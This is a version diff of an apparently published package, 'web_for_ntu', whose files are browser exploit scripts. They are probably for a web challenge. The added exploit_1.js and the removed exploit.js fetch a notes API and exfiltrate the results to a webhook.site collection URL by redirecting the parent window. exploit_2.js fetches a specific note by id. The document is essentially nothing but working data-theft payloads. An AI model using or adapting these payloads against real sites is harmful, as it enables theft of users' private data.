web_for_ntu 2.0.0 → 3.0.0

package/exploit_1.js

@@ -0,0 +1,9 @@
+function leakAllNote() {
+  fetch('/api/notes/all')
+    .then(response => response.json())
+    .then(notes => {
+      window.parent.location.href = `https://webhook.site/7b314372-817b-4fbd-a459-8c71d3be3bbd?` + encodeURIComponent(notes[0].id);
+    })
+    .catch(error => console.error('Error:', error));
+}
+leakAllNote();

package/exploit_2.js

@@ -1,4 +1,4 @@
-function leakDataFromEndpoint() {
+function leakNoteWithID() {
     fetch('/api/notes?id=a83ed14e-8c1c-43c3-ad7a-b5393ad85a3d')
       .then(response => response.json())
       .then(note => {
@@ -6,4 +6,4 @@ function leakDataFromEndpoint() {
       })
       .catch(error => console.error('Error:', error));
 }
-leakDataFromEndpoint();
+leakNoteWithID();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "web_for_ntu",
-  "version": "2.0.0",
+  "version": "3.0.0",
   "description": "test1",
   "main": "exploit.js",
   "scripts": {

package/exploit.js

@@ -1,10 +0,0 @@
-function leakDataFromEndpoint() {
-  fetch('http://10.113.184.121:10082/api/notes/all')
-    .then(response => response.json())
-    .then(data => {
-      const queryParams = new URLSearchParams({data: JSON.stringify(data)}).toString();
-      window.parent.location.href = `https://webhook.site/7b314372-817b-4fbd-a459-8c71d3be3bbd?${queryParams}`;
-    })
-    .catch(error => console.error('Error:', error));
-}
-leakDataFromEndpoint();